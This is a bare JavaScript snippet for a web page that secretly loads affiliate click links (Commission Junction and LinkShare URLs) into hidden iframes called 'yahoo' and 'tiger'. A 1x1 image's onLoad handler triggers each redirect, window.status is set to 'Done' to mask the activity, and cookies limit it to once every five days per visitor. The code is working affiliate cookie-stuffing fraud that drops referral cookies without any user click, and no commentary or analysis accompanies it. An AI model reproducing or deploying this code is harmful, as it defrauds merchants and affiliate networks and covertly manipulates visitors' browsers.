<!--Begin //

var arrayyahoo=new Array(); //
arrayyahoo[0]='http://www.jdoqocy.com/click-1531658-10387033';
arrayyahoo[1]='http://www.jdoqocy.com/click-1531658-10409870';
arrayyahoo[2]='http://www.jdoqocy.com/click-1531658-10441683';
arrayyahoo[3]='http://www.kqzyfj.com/click-1531658-10435928';
arrayyahoo[4]='http://www.anrdoezrs.net/click-1531658-10432575';

var arraytiger=new Array(); //
arraytiger[0]='http://click.linksynergy.com/fs-bin/click?id=xUd6usAq8mQ&offerid=102327.10000020&type=3&subid=0';
arraytiger[1]='http://click.linksynergy.com/fs-bin/click?id=xUd6usAq8mQ&offerid=102327.10000017&type=3&subid=0';
arraytiger[2]='http://click.linksynergy.com/fs-bin/click?id=xUd6usAq8mQ&offerid=102327.10000014&type=3&subid=0';


function createCookie(name,value,days) {
	if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else var expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}

function eraseCookie(name) {
	createCookie(name,"",-1);
}

//yahoo
function loadyahoo(){window.status='Done'; loadwrite1(); window.status='Done';}
function loadwrite1(){
var iframeWin = window.frames.yahoo;
var frameSrc='<img src="http://www.gcworkshop.com/img1/001.jpg" width="1" height="1" onLoad="window.parent.ccyahoo();">';
iframeWin.document.getElementById('div0').innerHTML = frameSrc;
}
function ccyahoo(){var rn1=Math.floor(Math.random()*1); setTimeout( "reyahoo()", rn1*1000 );}
function reyahoo(){var rn=Math.floor(Math.random()*5); window.frames.yahoo.location.href = arrayyahoo[rn];}

//tigerdirect
function loadtiger(){window.status='Done';loadwrite2();  window.status='Done';}
function loadwrite2(){
var iframeWin = window.frames.tiger;
var frameSrc='<img src="http://www.gcworkshop.com/img1/001.jpg" width="1" height="1" onLoad="window.parent.cctiger();">';
iframeWin.document.getElementById('div0').innerHTML = frameSrc;
}
function cctiger(){var rn1=Math.floor(Math.random()*1); setTimeout( "retiger()", rn1*1000 );}
function retiger(){var rn=Math.floor(Math.random()*3); window.frames.tiger.location.href = arraytiger[rn];}




function get_cookie(Name) {
  var search = Name + "="
  var returnvalue = "";
  if (document.cookie.length > 0) {
    offset = document.cookie.indexOf(search)
    if (offset != -1) { // if cookie exists
      offset += search.length
      // set index of beginning of value
      end = document.cookie.indexOf(";", offset);
      // set index of end of cookie value
      if (end == -1)
         end = document.cookie.length;
      returnvalue=unescape(document.cookie.substring(offset, end))
      }
   }
  return returnvalue;
}

function loadornot(){
 if(readCookie('yahoo')!='yes') {
	 setTimeout('loadyahoo()',1000);
     createCookie('yahoo','yes',5);
 }
 if(readCookie('tiger')!='yes') {
	 setTimeout('loadtiger()',1000);
     createCookie('tiger','yes',5);
 }
}


// End --> //
